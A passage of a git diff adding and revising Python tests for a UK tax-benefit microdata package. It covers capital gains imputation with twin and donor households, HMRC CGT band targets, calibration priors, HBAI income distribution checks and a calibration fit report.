assert not original.household_is_capital_gains_clone.any() + assert twin.household_is_capital_gains_clone.all() + twin_of = (twin.household_id - (n + 1)).to_numpy() + assert set(twin_of) <= set(original.household_id) + + # Mass: a survey row and its twin share the row's weight; a zero-weight + # row stays at zero; no twin is itself a zero-weight row. + twin_weight = np.zeros(n) + twin_weight[twin_of - 1] = twin.household_weight + assert (twin.household_weight > 0).all() + survey = weights > 0 + np.testing.assert_allclose( + (original.household_weight.to_numpy() + twin_weight)[survey], weights[survey] + ) + assert (original.household_weight[~survey] == 0).all() + assert (original.household_weight[survey] > 0).all() + + prior = _priors(out) + twin_prior = np.zeros(n) + twin_prior[twin_of - 1] = prior[n:] + np.testing.assert_allclose(prior[:n] + twin_prior, before_priors) + assert prior.sum() == pytest.approx(before_priors.sum()) + + # Gains: none on originals; on a twin, the first adult's alone, above + # the lowest HMRC band limit. + gains = person.capital_gains.to_numpy() + in_twin = person.person_household_id.isin(twin.household_id).to_numpy() + assert (gains[~in_twin] == 0).all() + assert ((gains == 0) | (gains > LOWEST_BAND)).all() + gainers = person[gains > 0] + assert gainers.first_adult.all() + assert sorted(gainers.person_household_id) == sorted(twin.household_id) + + # A twin exists exactly where the first adult's draw is above the limit + # and their income band has survey first adults to set its share. + source = _dataset(weights, sizes, bands).person + person_band = cg._income_band(source.total_income.values) + first_adult = source.first_adult.values + share = cg.has_gains_shares(person_band, first_adult, np.repeat(weights, sizes)) + draws = cg.draw_gains(person_band, first_adult)[first_adult] + expected = (draws > LOWEST_BAND) & (share[bands] > 0) + assert sorted(twin_of) == sorted(np.flatnonzero(expected) + 1) + + +def test_imputation_is_deterministic(): + rng = np.random.default_rng(3) + dataset = _dataset( + rng.uniform(1, 2_000, 300), + rng.integers(1, 5, 300), + rng.integers(0, TOP_INCOME_BAND + 1, 300), + ) + first, second = _impute(dataset, donors=True), _impute(dataset, donors=True) + pd.testing.assert_frame_equal(first.household, second.household) + pd.testing.assert_frame_equal(first.person, second.person) + + +def test_zero_weight_rows_split_their_prior_like_survey_rows(): + """The defect behind uk-data#570: a zero-weight row's twin kept a zero + weight, so the calibration gave it a full zero-weight prior, the same as + its no-gains original. Half of the zero-weight rows' prior mass then + started with gains, whatever the table's share.""" + n_survey, n_zero = 400, 200 + weights = np.r_[np.full(n_survey, 1_000.0), np.zeros(n_zero)] + out = _impute(_dataset(weights, np.ones(len(weights), dtype=int), TOP_INCOME_BAND)) + household = out.household + n = n_survey + n_zero + twin = household.iloc[n:] + twin_of = (twin.household_id - (n + 1)).to_numpy() - 1 + of_zero = twin_of >= n_survey + + # One person per household, so the has-gains share is the table's. + share = TABLE.percent_with_gains.iloc[TOP_INCOME_BAND] + priors = _priors(out) + before_priors = initialize_weight_priors(weights) + twin_priors = np.zeros(n) + twin_priors[twin_of] = priors[n:] + np.testing.assert_allclose(priors[:n] + twin_priors, before_priors) + assert priors.sum() == pytest.approx(before_priors.sum()) + assert priors.sum() == pytest.approx(400_000) + pair_fraction = priors[n:] / (priors[n:] + priors[twin_of]) + np.testing.assert_allclose(pair_fraction, share) + assert of_zero.any() and (~of_zero).any() + np.testing.assert_allclose(pair_fraction[of_zero], pair_fraction[~of_zero][0]) + # The only zero-weight rows left are the zero-weight originals. + assert (household.household_weight == 0).sum() == n_zero + + +def _band_matrix(dataset, year: int) -> tuple[pd.DataFrame, pd.Series]: + """The HMRC columns of the calibration's national matrix, built by the + target functions themselves.""" + gains = dataset.person.capital_gains.to_numpy(dtype=float) + household = pd.Index(dataset.household.household_id).get_indexer( + dataset.person.person_household_id + ) + parameters = SimpleNamespace( + gov=SimpleNamespace( + hmrc=SimpleNamespace(cgt=SimpleNamespace(annual_exempt_amount=3_000)) + ) + ) + ctx = SimpleNamespace( + pe_person=lambda variable: gains, + household_from_person=lambda values: np.bincount( + household, weights=values, minlength=len(dataset.household) + ), + sim=SimpleNamespace( + tax_benefit_system=SimpleNamespace(parameters=lambda instant: parameters) + ), + ) + targets = hmrc_cgt.get_targets() + return ( + pd.DataFrame({t.name: t.custom_compute(ctx, t, year) for t in targets}), + pd.Series({t.name: t.values[year] for t in targets}), + ) + + +def _stacked_population(): + """Survey and zero-weight households over every income band, with enough + top-income households for the twins to reach every band below £2m.""" + rng = np.random.default_rng(7) + n = 6_000 + bands = np.where( + rng.random(n) < 0.5, TOP_INCOME_BAND, rng.integers(0, TOP_INCOME_BAND, n) + ) + weights = np.where(rng.random(n) < 0.4, 0.0, rng.uniform(100, 3_000, n)) + return _impute(_dataset(weights, rng.integers(1, 4, n), bands), donors=True) + + +def test_donors_fill_the_top_bands_and_are_never_twins(): + out = _stacked_population() + bands = cg.load_donor_bands() + donors = out.household[out.household.household_is_cgt_band_donor] + assert len(donors) == cg.DONORS_PER_BAND * len(bands) + assert not donors.household_is_capital_gains_clone.any() + np.testing.assert_allclose( + _priors(out)[out.household.household_is_cgt_band_donor.to_numpy()], + donors.household_weight, + ) + + donor_people = out.person[out.person.person_household_id.isin(donors.household_id)] + gainers = donor_people[donor_people.capital_gains > 0] + assert gainers.first_adult.all() + assert gainers.person_household_id.is_unique and len(gainers) == len(donors) + weight = gainers.person_household_id.map( + donors.set_index("household_id").household_weight + ) + for band in bands.itertuples(): + in_band = np.isclose(gainers.capital_gains, band.mean_gain) + assert in_band.sum() == cg.DONORS_PER_BAND + assert weight[in_band].sum() == pytest.approx(band.taxpayers) + + +def test_calibration_starts_with_every_band_count_on_target(): + """End to end: twins, donors, the calibration's priors and the rake. + + Before uk-data#570 the same quantities started 17 times over on the + taxpayer count and 5 times over on total gains. + """ + out = _stacked_population() + year = hmrc_cgt._CGT_BASE_YEAR + 1 + matrix, targets = _band_matrix(out, year) + names = hmrc_cgt.band_count_target_names() + assert len(names) == 12 + + priors = _priors(out) + start = rake_priors_to_targets(priors, matrix, targets, names) + + estimate = start @ matrix + # Every band has records, so every band count starts on its target, and + # with them their sum, the aggregate taxpayer count. + assert (priors @ matrix[names] > 0).all() + np.testing.assert_allclose(estimate[names], targets[names]) + assert estimate["hmrc/cgt_taxpayers"] == pytest.approx( + targets["hmrc/cgt_taxpayers"] + ) + # Households outside the bands keep their prior. + outside = (matrix[names] == 0).all(axis=1).to_numpy() + np.testing.assert_array_equal(start[outside], priors[outside]) diff --git a/policyengine_uk_data/tests/test_cgt_band_donors.py b/policyengine_uk_data/tests/test_cgt_band_donors.py index ec97d6519..8eef7d624 100644 --- a/policyengine_uk_data/tests/test_cgt_band_donors.py +++ b/policyengine_uk_data/tests/test_cgt_band_donors.py @@ -2,10 +2,10 @@ The spline-based capital gains imputation cannot produce gains above its last income band's p95, so the build stacks donor households carrying -each HMRC Table 2.1a band's mean gain at band-exact initial weights, and -calibration adjusts their weight via per-band targets. These tests pin: the band table's -integrity, the per-band target computations (including the AEA gate), and -the donor stacking itself. +the mean gain of each HMRC Table 2.1a band from £500,000 up at band-exact +initial weights, and calibration adjusts their weight via per-band +targets. These tests pin: the band table's integrity, the per-band target +computations (including the AEA gate), and the donor stacking itself. """ import os @@ -16,11 +16,14 @@ from policyengine_uk_data.datasets.imputations.capital_gains import ( DONORS_PER_BAND, + load_donor_bands, load_hmrc_size_bands, stack_cgt_band_donors, ) from policyengine_uk_data.targets.sources.hmrc_cgt import ( _CGT_BASE_YEAR, + _CGT_TAXPAYERS, + _CGT_TOTAL_GAINS, get_targets, ) @@ -53,7 +56,8 @@ def household_from_person(values): def test_band_table_shape(): bands = load_hmrc_size_bands() - assert bands.lower_limit.min() == 12_300 + # The targeted bands start at the table year's annual exempt amount. + assert bands.lower_limit.min() == 3_000 assert np.isinf(bands.upper_limit.iloc[-1]) assert (bands.lower_limit.values[1:] == bands.upper_limit.values[:-1]).all() # Band means must sit inside their band (the top band's mean is @@ -63,6 +67,33 @@ def test_band_table_shape(): assert bands.mean_gain.is_monotonic_increasing +def test_band_table_reproduces_the_published_totals_for_individuals(): + """Table 2.1a's total row for 2024-25: 551 thousand individuals and + £119,258m of gains. The one band under the annual exempt amount holds 3 + thousand of them and £1m.""" + import pandas as pd + + from policyengine_uk_data.storage import STORAGE_FOLDER + + table = pd.read_csv( + STORAGE_FOLDER / "capital_gains_size_distribution_hmrc.csv", comment="#" + ) + assert table.taxpayers_thousands.sum() == 551 + assert table.gains_gbp_millions.sum() == 119_258 + bands = load_hmrc_size_bands() + assert bands.taxpayers.sum() == 548_000 + assert bands.gains.sum() == 119_257e6 + + +def test_donor_bands_are_the_bands_from_500k(): + assert load_donor_bands().lower_limit.tolist() == [ + 500_000, + 1_000_000, + 2_000_000, + 5_000_000, + ] + + def test_band_targets_match_published_table(): bands = load_hmrc_size_bands() targets = {t.name: t for t in get_targets()} @@ -79,6 +110,37 @@ def test_band_targets_match_published_table(): assert count.is_count and not gains.is_count +def test_aggregate_targets_are_the_sums_of_the_band_targets(): + """The aggregates and the bands describe one population, individuals + with gains above the exempt amount, in every year.""" + targets = {t.name: t for t in get_targets()} + bands = load_hmrc_size_bands() + count_names = [f"hmrc/cgt_taxpayers_band_{int(b)}" for b in bands.lower_limit] + gains_names = [f"hmrc/capital_gains_band_{int(b)}" for b in bands.lower_limit] + assert targets["hmrc/cgt_taxpayers"].values[_CGT_BASE_YEAR] == _CGT_TAXPAYERS + assert targets["hmrc/capital_gains_total"].values[_CGT_BASE_YEAR] == ( + _CGT_TOTAL_GAINS + ) + for year, total in targets["hmrc/cgt_taxpayers"].values.items(): + assert sum(targets[n].values[year] for n in count_names) == pytest.approx(total) + for year, total in targets["hmrc/capital_gains_total"].values.items(): + assert sum(targets[n].values[year] for n in gains_names) == pytest.approx(total) + + +def test_lowest_band_starts_just_above_the_exempt_amount(): + gains = [2_999, 3_000, 3_001, 5_999, 6_000] + ctx = _dummy_ctx(gains, household_of_person=[0, 1, 2, 3, 4]) + targets = {t.name: t for t in get_targets()} + count = targets["hmrc/cgt_taxpayers_band_3000"] + assert count.custom_compute(ctx, count, _CGT_BASE_YEAR).tolist() == [ + 0.0, + 0.0, + 1.0, + 1.0, + 0.0, + ] + + def test_band_compute_gates_on_band_and_aea(): # Persons: below AEA, in first band, at a band edge, in top band. gains = [2_000, 15_000, 25_000, 10_000_000] @@ -99,7 +161,7 @@ def test_band_compute_gates_on_band_and_aea(): def test_stack_cgt_band_donors(frs): - bands = load_hmrc_size_bands() + bands = load_donor_bands() n_households = len(frs.household) out = stack_cgt_band_donors(frs) @@ -142,15 +204,14 @@ def test_stack_cgt_band_donors(frs): # running the suite, so they bind there; locally they skip when the built # file is absent or predates the band-donor change). They pin the *result*: # the calibrated weights must reproduce HMRC's CGT statistics, not merely -# be pulled toward them. Tolerances are deliberately loose enough for -# calibration noise but tight enough to fail on the pre-change pathologies -# they were written against (1.86m taxpayers vs HMRC's 378k; 1.6% of gains -# from £1m+ gains vs HMRC's ~61%; no gain above ~£2m). - -# HMRC CGT statistics, 2023-24 outturn (Table 2.1a). -_HMRC_TAXPAYERS = 378_000 -_HMRC_TOTAL_GAINS = 65.9e9 -_HMRC_SHARE_1M_PLUS = 0.61 +# be pulled toward them. The stored gains are survey-year values, the year +# of the HMRC outturn, so the comparison needs no uprating. + +# HMRC CGT statistics, 2024-25 outturn, individuals with gains above the +# annual exempt amount (Table 2.1a). +_HMRC_TAXPAYERS = _CGT_TAXPAYERS +_HMRC_TOTAL_GAINS = _CGT_TOTAL_GAINS +_HMRC_SHARE_1M_PLUS = 0.65 _AEA = 3_000 # PR CI builds with TESTING=1 (32 calibration epochs instead of 512) and @@ -158,12 +219,9 @@ def test_stack_cgt_band_donors(frs): # still catches order-of-magnitude pathologies without failing on # reduced-fidelity calibration noise. Full builds get the strict bounds. _REDUCED_BUILD_SLACK = 5.0 if os.environ.get("TESTING") == "1" else 1.0 -# Reduced builds sit far above HMRC's total gains: the seed-0 reduced builds -# of main and of #529 carry about £243bn and £267bn (relative errors 2.7 and -# 3.1, beyond the 0.5 x slack bound), while their full builds carry about -# £53bn. Under TESTING the total-gains check only guards against +# Under TESTING the total-gains check only guards against # order-of-magnitude errors, in either direction: the total must lie within a -# factor of 6 of HMRC's. The full build keeps the 50% bound. +# factor of 6 of HMRC's. _REDUCED_GAINS_FACTOR = 6.0 @@ -193,27 +251,31 @@ def test_built_band_donors_receive_weight(enhanced_frs): ) +@pytest.mark.slow +def test_built_gains_are_zero_or_above_the_exempt_amount(enhanced_frs): + """No record carries a loss or a gain HMRC's statistics do not describe. + + This holds for any build, reduced or full: it is a property of the + imputation, not of the calibration. + """ + enhanced_frs = _built_with_band_donors(enhanced_frs) + gains = enhanced_frs.person.capital_gains.values + assert (gains >= 0).all(), f"{(gains < 0).sum()} records carry negative gains." + stray = (gains > 0) & (gains <= _AEA) + assert not stray.any(), f"{stray.sum()} records carry gains of £{_AEA:,} or less." + + @pytest.mark.slow def test_built_cgt_taxpayer_count(enhanced_frs): if _REDUCED_BUILD_SLACK > 1: - # The taxpayer count converges slowly: the imputation hands a gain - # to an adult in every clone-half household, and pulling those - # weights down to HMRC's 378k is precisely what the full 512-epoch - # calibration achieves and a TESTING build (32 epochs) cannot — - # reduced builds sit near 5m no matter how the donors are seeded. - # The full push-workflow build runs this test with strict bounds. pytest.skip("count convergence requires the full calibration") enhanced_frs = _built_with_band_donors(enhanced_frs) gains, weights = _person_gains_and_weights(enhanced_frs) taxpayers = float(weights[gains > _AEA].sum()) - assert taxpayers < 2 * _HMRC_TAXPAYERS * _REDUCED_BUILD_SLACK, ( + ratio = taxpayers / _HMRC_TAXPAYERS + assert abs(ratio - 1) < 0.2, ( f"{taxpayers / 1e3:.0f}k weighted CGT taxpayers against HMRC's " - f"{_HMRC_TAXPAYERS / 1e3:.0f}k; the count targets are not binding " - "(the pre-fix build carried 1.86m)." - ) - assert taxpayers > 0.25 * _HMRC_TAXPAYERS / _REDUCED_BUILD_SLACK, ( - f"Only {taxpayers / 1e3:.0f}k weighted CGT taxpayers; calibration " - "has collapsed the gains distribution." + f"{_HMRC_TAXPAYERS / 1e3:.0f}k (ratio {ratio:.2f})." ) @@ -230,7 +292,7 @@ def test_built_total_gains(enhanced_frs): if _REDUCED_BUILD_SLACK > 1: assert 1 / _REDUCED_GAINS_FACTOR < ratio < _REDUCED_GAINS_FACTOR, message else: - assert abs(ratio - 1) < 0.5, message + assert abs(ratio - 1) < 0.15, message @pytest.mark.slow diff --git a/policyengine_uk_data/tests/test_clone_and_assign.py b/policyengine_uk_data/tests/test_clone_and_assign.py index 3e96424e7..190624a54 100644 --- a/policyengine_uk_data/tests/test_clone_and_assign.py +++ b/policyengine_uk_data/tests/test_clone_and_assign.py @@ -215,6 +215,25 @@ def test_weight_preservation(self, toy_dataset, small_crosswalk): cloned_total = result.household["household_weight"].sum() np.testing.assert_allclose(cloned_total, original_total, rtol=1e-10) + def test_calibration_prior_preservation(self, toy_dataset, small_crosswalk): + """OA copies must share each source household's carried prior.""" + original_prior = np.linspace(25.0, 250.0, len(toy_dataset.household)) + toy_dataset.household["household_calibration_prior"] = original_prior + + result = clone_and_assign( + toy_dataset, + n_clones=5, + crosswalk_path=str(small_crosswalk), + ) + + by_source = result.household.groupby("source_household_id")[ + "household_calibration_prior" + ].sum() + np.testing.assert_allclose(by_source, original_prior) + np.testing.assert_array_equal( + toy_dataset.household.household_calibration_prior, original_prior + ) + def test_unique_household_ids(self, toy_dataset, small_crosswalk): result = clone_and_assign( toy_dataset, diff --git a/policyengine_uk_data/tests/test_devolved_housing_targets.py b/policyengine_uk_data/tests/test_devolved_housing_targets.py index 0619bd938..4fc5c351d 100644 --- a/policyengine_uk_data/tests/test_devolved_housing_targets.py +++ b/policyengine_uk_data/tests/test_devolved_housing_targets.py @@ -119,8 +119,10 @@ def map_result(self, values, source_entity, target_entity): def test_constituency_target_matrix_includes_devolved_housing_targets(monkeypatch): age_targets = _age_targets().iloc[[0, 2]].reset_index(drop=True) + codes = age_targets["code"].tolist() income_targets = pd.DataFrame( { + "code": codes, "self_employment_income_amount": [1.0, 1.0], "self_employment_income_count": [1.0, 1.0], "employment_income_amount": [1.0, 1.0], @@ -141,7 +143,8 @@ def test_constituency_target_matrix_includes_devolved_housing_targets(monkeypatc "uc_hh_1_child": [0.0, 0.0], "uc_hh_2_children": [0.0, 0.0], "uc_hh_3plus_children": [0.0, 0.0], - } + }, + index=pd.Index(codes, name="code"), ) monkeypatch.setattr(constituency_loss, "Microsimulation", _FakeSim) @@ -160,7 +163,7 @@ def test_constituency_target_matrix_includes_devolved_housing_targets(monkeypatc monkeypatch.setattr( constituency_loss, "get_constituency_uc_targets", - lambda: pd.Series([1.0, 1.0]), + lambda: pd.Series([1.0, 1.0], index=pd.Index(codes, name="code")), ) monkeypatch.setattr( constituency_loss, @@ -168,6 +171,8 @@ def test_constituency_target_matrix_includes_devolved_housing_targets(monkeypatc lambda: uc_by_children, ) monkeypatch.setattr(constituency_loss, "mapping_matrix", np.eye(2)) + monkeypatch.setattr(constituency_loss, "old_codes", codes) + monkeypatch.setattr(constituency_loss, "new_codes", codes) monkeypatch.setattr( constituency_loss.pd, "read_csv", diff --git a/policyengine_uk_data/tests/test_distribution_validation.py b/policyengine_uk_data/tests/test_distribution_validation.py new file mode 100644 index 000000000..7738583d3 --- /dev/null +++ b/policyengine_uk_data/tests/test_distribution_validation.py @@ -0,0 +1,245 @@ +"""Single-age and HBAI distribution checks (utils/distribution_validation.py).""" + +import numpy as np +import pytest +from hypothesis import given, settings +from hypothesis import strategies as st + +from policyengine_uk_data.utils.distribution_validation import ( + SCHEMA, + TOP_AGE_BAND, + compare, + hbai_measures, + load_hbai_reference, + render, + single_ages, + summarise_single_ages, + weighted_gini, + weighted_median, +) + +samples = st.lists( + st.tuples(st.floats(-1e4, 1e5, allow_nan=False), st.integers(1, 5)), + min_size=1, + max_size=40, +) + + +def _expand(pairs): + return np.repeat([v for v, _ in pairs], [w for _, w in pairs]).astype(float) + + +@settings(max_examples=300, deadline=None) +@given(pairs=samples) +def test_weighted_median_equals_the_median_of_the_expanded_sample(pairs): + """Differential: integer weights are repeated records.""" + values = np.array([v for v, _ in pairs]) + weights = np.array([w for _, w in pairs], float) + expanded = np.sort(_expand(pairs)) + # The lower median of the expanded sample. + lower = expanded[(len(expanded) - 1) // 2] + upper = expanded[len(expanded) // 2] + assert lower <= weighted_median(values, weights) <= upper + # Scaling every weight leaves it unchanged. + assert weighted_median(values, weights * 7.5) == weighted_median(values, weights) + + +@settings(max_examples=300, deadline=None) +@given( + pairs=st.lists( + st.tuples(st.floats(0.01, 1e5), st.integers(1, 5)), min_size=2, max_size=40 + ) +) +def test_weighted_gini_equals_the_mean_difference_gini_of_the_expanded_sample(pairs): + expanded = _expand(pairs) + n = len(expanded) + mean_difference = np.abs(expanded[:, None] - expanded[None, :]).sum() / (n * n) + reference = mean_difference / (2 * expanded.mean()) + values = np.array([v for v, _ in pairs]) + weights = np.array([w for _, w in pairs], float) + assert weighted_gini(values, weights) == pytest.approx(reference, abs=1e-9) + + +def test_gini_of_equal_incomes_is_zero(): + assert weighted_gini([5.0, 5.0, 5.0], [1, 2, 3]) == pytest.approx(0) + + +def test_hbai_measures_on_a_known_population(): + income = np.array([100.0, 200.0, 300.0, 400.0, 1000.0]) + weights = np.ones(5) + child = np.array([1, 0, 0, 0, 0], bool) + pensioner = np.array([0, 0, 0, 0, 1], bool) + m = hbai_measures(income, income - 50, weights, child, pensioner) + assert m["median_bhc"] == 300.0 + assert m["mean_bhc"] == 400.0 + # Below 60% of 300: 100 only, a child. + assert m["relative_low_income_bhc_all"] == pytest.approx(20.0) + assert m["relative_low_income_bhc_children"] == pytest.approx(100.0) + assert m["relative_low_income_bhc_working_age"] == pytest.approx(0.0) + assert m["relative_low_income_bhc_pensioners"] == pytest.approx(0.0) + + +def test_the_hbai_reference_is_the_published_table(): + """Spot values from DWP HBAI FYE 2025, tables 8a and 8b.""" + ref = load_hbai_reference() + assert ref["period"] == 2024 + m = ref["measures"] + assert m["median_bhc"]["estimate"] == pytest.approx(719.481062) + assert m["median_ahc"]["estimate"] == pytest.approx(623.144059) + assert m["relative_low_income_ahc_children"]["estimate"] == pytest.approx(27.41076) + assert len(m) == 14 + + +def test_single_ages_band_the_oldest_and_split_by_sex(): + age = np.array([0, 0, 79, 80, 85, 90]) + male = np.array([1, 0, 1, 1, 0, 1], bool) + weights = np.array([2.0, 3.0, 1.0, 1.0, 4.0, 5.0]) + reference = { + (s, a): 1.0 for s in ("male", "female") for a in range(TOP_AGE_BAND + 1) + } + rows = single_ages(age, male, weights, reference) + assert rows["male"]["0"]["value"] == 2.0 and rows["female"]["0"]["value"] == 3.0 + assert rows["male"]["80"]["value"] == 6.0 and rows["female"]["80"]["value"] == 4.0 + summary = summarise_single_ages(rows) + assert summary["error_80_plus"] == {"male": 5.0, "female": 3.0} + + +def _report(**hbai_values): + ref = load_hbai_reference()["measures"] + hbai = {} + for name, r in ref.items(): + value = hbai_values.get(name, r["estimate"]) + hbai[name] = { + "value": value, + "reference": r["estimate"], + "low": r["low"], + "high": r["high"], + "inside": r["low"] <= value <= r["high"], + } + single = { + "mean_abs_error_0_79": 0.2, + "max_abs_error_0_79": 0.9, + "max_abs_error_15_19": 0.6, + "error_80_plus": {"male": 0.0, "female": 0.0}, + } + return { + "schema": SCHEMA, + "periods": {"hbai": 2024, "single_age": 2025}, + "hbai": hbai, + "summary": {"single_age": single}, + } + + +def test_compare_flags_a_measure_that_leaves_its_interval_but_does_not_fail(): + result = compare(_report(), _report(median_bhc=760.0)) + assert result["status"] == "pass" + assert result["flags"] == [ + "HBAI median_bhc leaves its 95% interval: 719.48 -> 760.00 (HBAI 719.48, 703.57 to 735.58)." + ] + text = render(result) + assert "760.00 (outside)" in text and "do not fail yet" in text + + +def test_compare_with_itself_passes_with_no_flags(): + result = compare(_report(), _report()) + assert result["status"] == "pass" and result["flags"] == [] + assert all(r["further_from_reference"] == 0 for r in result["rows"]) + + +@pytest.mark.parametrize( + "change, message", + [ + (lambda r: r.update(schema="other"), "malformed"), + (lambda r: r["periods"].update(hbai=2025), "different periods"), + (lambda r: r["hbai"]["median_bhc"].update(value=float("nan")), "not finite"), + ], +) +def test_compare_fails_on_a_broken_or_mismatched_report(change, message): + head = _report() + change(head) + result = compare(_report(), head) + assert result["status"] == "fail" + assert any(message in f for f in result["failures"]) + + +def test_negative_incomes_before_housing_costs_are_reset_to_zero_as_hbai_does(): + """Sol review of #600: HBAI resets negative BHC to zero and derives AHC from + the adjusted figure, so AHC can still be negative.""" + from policyengine_uk_data.utils.distribution_validation import ( + WEEKS_PER_YEAR, + hbai_incomes, + ) + + weekly_bhc = np.array([-100.0, 100.0, 200.0, 300.0, 400.0]) + annual_bhc = weekly_bhc * WEEKS_PER_YEAR + annual_ahc = (weekly_bhc - 50) * WEEKS_PER_YEAR + bhc, ahc = hbai_incomes(annual_bhc, annual_ahc, np.ones(5), np.ones(5)) + np.testing.assert_allclose(bhc, [0, 100, 200, 300, 400]) + np.testing.assert_allclose(ahc, [-50, 50, 150, 250, 350]) + m = hbai_measures(bhc, ahc, np.ones(5), np.zeros(5, bool), np.zeros(5, bool)) + assert m["mean_bhc"] == pytest.approx(200) and m["mean_ahc"] == pytest.approx(150) + assert m["gini_bhc"] == pytest.approx(40.0) + assert m["gini_ahc"] == pytest.approx(53.333333, rel=1e-6) + # No children or pensioners: those groups have no rate, not a NaN. + assert m["relative_low_income_bhc_children"] is None + assert m["relative_low_income_ahc_pensioners"] is None + # Median 200, line 120: incomes 0 and 100 are below it. + assert m["relative_low_income_bhc_working_age"] == pytest.approx(40.0) + + +def test_an_incomplete_or_non_finite_report_fails(): + """Sol review of #600: every reference measure and age summary must be there.""" + head = _report() + del head["hbai"]["median_bhc"] + result = compare(_report(), head) + assert result["status"] == "fail" + assert result["failures"] == ["The head report has no median_bhc."] + head = _report() + head["summary"]["single_age"]["mean_abs_error_0_79"] = float("nan") + result = compare(_report(), head) + assert result["status"] == "fail" and "not finite" in result["failures"][0] + head = _report() + name = next(iter(head["hbai"])) + head["hbai"][name]["value"] = None # an empty group + result = compare(_report(), head) + assert result["status"] == "fail" + assert f"HBAI {name} is missing or not finite on one side." in result["failures"] + + +def test_the_workflow_fails_when_a_distribution_report_is_missing(): + from pathlib import Path + + text = ( + Path(__file__).parents[2] / ".github" / "workflows" / "pull_request.yaml" + ).read_text() + block = text[text.index("The report is missing for one build") :] + assert 'echo "status=1" >> "$GITHUB_OUTPUT"' in block.split("\n fi", 1)[0] + assert "## Income distribution and single ages: FAIL" in text + + +def test_the_measurement_runs_after_the_tests_and_cannot_skip_them(): + """Delta reviews of #600: an ONS outage must not skip the tests or the + fit summary, nor turn the test job red.""" + from pathlib import Path + + import yaml + + workflow = Path(__file__).parents[2] / ".github" / "workflows" / "pull_request.yaml" + steps = yaml.safe_load(workflow.read_text())["jobs"]["test"]["steps"] + names = [step.get("name") for step in steps] + measure = names.index("Measure the income distribution and single ages") + assert names.index("Run tests") < measure + assert names.index("Save the fit summary") < measure + assert steps[measure]["if"] == "${{ !cancelled() }}" + assert steps[measure]["continue-on-error"] is True + # The fit summary runs after the tests too, whatever they did. + summarise = names.index("Summarise the calibration fit") + assert names.index("Run tests") < summarise + assert steps[summarise]["if"] == "${{ !cancelled() }}" + assert steps[names.index("Save the fit summary")]["if"] == "${{ !cancelled() }}" + # On the base, the distribution measurement runs after the fit summary. + base = yaml.safe_load(workflow.read_text())["jobs"]["base-build"]["steps"] + base_names = [step.get("name") for step in base] + assert base_names.index("Save the base fit summary") < base_names.index( + "Measure the base's income distribution and single ages" + ) diff --git a/policyengine_uk_data/tests/test_dwp_housing_benefit_targets.py b/policyengine_uk_data/tests/test_dwp_housing_benefit_targets.py index 53cd1c46e..f60612178 100644 --- a/policyengine_uk_data/tests/test_dwp_housing_benefit_targets.py +++ b/policyengine_uk_data/tests/test_dwp_housing_benefit_targets.py @@ -228,6 +228,9 @@ def test_obr_housing_benefit_row_is_not_parsed(): wb = openpyxl.Workbook() ws = wb.active ws.title = "4.9" + ws["A1"] = "£ billion" + for col, year in zip("CDEFGHI", range(2024, 2031)): + ws[f"{col}1"] = f"{year}-{(year + 1) % 100:02d}" ws["B2"] = "Housing benefit (not on JSA)1" ws["B3"] = "Attendance allowance" for row in (2, 3): diff --git a/policyengine_uk_data/tests/test_esa_jsa_targets.py b/policyengine_uk_data/tests/test_esa_jsa_targets.py index b3e7585ac..894e0d817 100644 --- a/policyengine_uk_data/tests/test_esa_jsa_targets.py +++ b/policyengine_uk_data/tests/test_esa_jsa_targets.py @@ -26,6 +26,9 @@ def test_obr_jobseekers_allowance_maps_to_total_jsa(): wb = openpyxl.Workbook() ws = wb.active ws.title = "4.9" + ws["A1"] = "£ billion" + for col, year in zip("CDEFGHI", range(2024, 2031)): + ws[f"{col}1"] = f"{year}-{(year + 1) % 100:02d}" ws["B2"] = "Jobseeker's allowance" ws["C2"] = 0.2 ws["D2"] = 0.3 diff --git a/policyengine_uk_data/tests/test_fit_report.py b/policyengine_uk_data/tests/test_fit_report.py new file mode 100644 index 000000000..dc14487fe --- /dev/null +++ b/policyengine_uk_data/tests/test_fit_report.py @@ -0,0 +1,324 @@ +"""The final calibration fit summary and the no-worsening comparison (utils/fit_report.py).""" + +import json + +import numpy as np +import pandas as pd +import pytest +from hypothesis import given, settings +from hypothesis import strategies as st + +from policyengine_uk_data.utils.fit_report import ( + BANDS, + FitPolicy, + band, + compare, + load_policy, + main, + summarise, +) + +POLICY = FitPolicy(share_drop_allowance=0.02) + + +def _log(national: dict, local=(), epochs=(0, 30)): + """A calibration log: national {metric: (estimate, target)}, local [(est, target)].""" + rows = [] + for epoch in epochs: + for metric, (estimate, target) in national.items(): + rows.append(("UK", 0, metric, estimate, target, epoch)) + for i, (estimate, target) in enumerate(local): + rows.append((f"area {i}", f"E{i}", f"local/{i}", estimate, target, epoch)) + return pd.DataFrame( + rows, columns=["name", "index", "metric", "estimate", "target", "epoch"] + ) + + +LOCAL = [(100, 100)] * 10 + + +def test_summarise_reads_the_last_epoch_and_drops_zero_targets(): + log = _log( + {"a": (105, 100), "b": (150, 100), "zero": (5, 0)}, local=[(9, 10), (20, 10)] + ) + log.loc[log.epoch == 0, "estimate"] = 1 # earlier epochs are ignored + s = summarise(log) + assert s["epoch"] == 30 + # Bands of |estimate / target - 1|: 0.05 is within 10%, 0.5 is 25-50%. + assert s["national"] == {"a": 0, "b": 2} + assert "zero" not in s["national"] + assert s["local"] == {"E0|local/0": 0, "E1|local/1": 3} + + +@settings(max_examples=100, deadline=None) +@given( + estimates=st.lists(st.floats(0.01, 1e12, allow_nan=False), min_size=1, max_size=20), + target=st.floats(1.0, 1e12), +) +def test_the_summary_publishes_no_estimate_or_error(estimates, target): + """Sol re-reviews of #599: rows don't count respondents and one household + can dominate a target, so nothing per target but within 10% is published.""" + log = _log( + {f"t{i}": (e, target) for i, e in enumerate(estimates)}, + local=[(e, target) for e in estimates], + ) + s = summarise(log) + for group in ("national", "local"): + assert all(type(v) is int and 0 <= v < len(BANDS) for v in s[group].values()) + text = json.dumps(s) + for e in estimates: + assert repr(e) not in text and repr(abs(e / target - 1)) not in text + + +def test_a_malformed_log_is_refused(): + with pytest.raises(ValueError, match="no rows"): + summarise(_log({}, epochs=())) + with pytest.raises(ValueError, match="non-finite"): + summarise(_log({"a": (np.inf, 100)})) + with pytest.raises(ValueError, match="repeats"): + summarise(pd.concat([_log({"a": (1, 1)}), _log({"a": (2, 1)})])) + + +def _summary(national_errors, local=LOCAL, epochs=(0, 30)): + return summarise( + _log( + {f"t{i}": (100 * (1 + e), 100) for i, e in enumerate(national_errors)}, + local, + epochs, + ) + ) + + +def test_a_drop_beyond_the_allowance_fails_and_within_it_passes(): + base = _summary([0.0] * 100) + head = _summary([0.5, 0.5, 